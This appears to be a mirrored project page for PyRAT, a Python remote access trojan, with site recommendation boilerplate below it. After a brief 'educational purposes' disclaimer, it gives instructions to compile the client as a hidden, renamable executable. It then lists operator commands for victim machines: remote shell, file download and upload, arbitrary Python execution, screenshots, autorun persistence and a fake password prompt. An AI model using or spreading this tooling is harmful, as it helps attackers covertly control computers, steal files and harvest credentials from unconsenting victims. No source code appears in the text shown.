Git Product home page Git Product logo

pyrat's Introduction

Disclaimer

Usage of PyRAT Hacking Tool for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developer assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes.

Installation

  1. Clone GitHub repository using command git clone https://github.com/0xhardcoder/PyRat
  2. Install PyRAT dependencies using command pip3 install -r requirments.txt
    Now you're ready to run your own server!

Compiling

Make sure that pyinstaller is installed. If not do pip3 install pyinstaller Compile client.py using command pyinstaller client.py --noconsole --name NameOfExe --icon NONE

Usage

To run server do python3 server.py
Commands:

        targets                      - show all connected computers
        shell [id]                   - connect to remote PC with id [id]
        download [filename]          - download [filename] from remote PC
        upload [filename]            - upload [filename] to remote PC
        cd [dirname]                 - change working directory to [dirname] on remote PC
        uninstall                    - uninstalls software from remote PC
        cursorpos                    - get cursor position on remote PC
        cursormove [X] [Y]           - set cursor position on remote PC
        touch [filename]             - creates a file with name [filename] on remote PC
        appendfile [filename] [text] - append [text] to [filename] on remote PC
        msgbox [type] [text] [title] - Starts message box with text [text] and title [title] on remote PC. Types: 0 = alert, 1 = confirm, 2 = prompt, 3 = password
        pyexec [Python expression]   - exec([Python expression]) on remote PC
        pyexecf [filename]           - Execute Python file on remote PC
        beep    [Freq] [Duration]    - Beep([Freq], [Duration]) on remote PC
        showdesktop                  - Shows desktop on remote PC 
        screenshot                   - Screenshot screen and saves it on remote PC with random name in current working directory
        private_ip                   - Shows private IP address of remote PC
        autorun                      - Adds software to autorun on remote PC
        swapmouse                    - Swaps mouse buttons on remote PC

pyrat's People

Contributors

0xhardcoder avatar

Stargazers

 avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.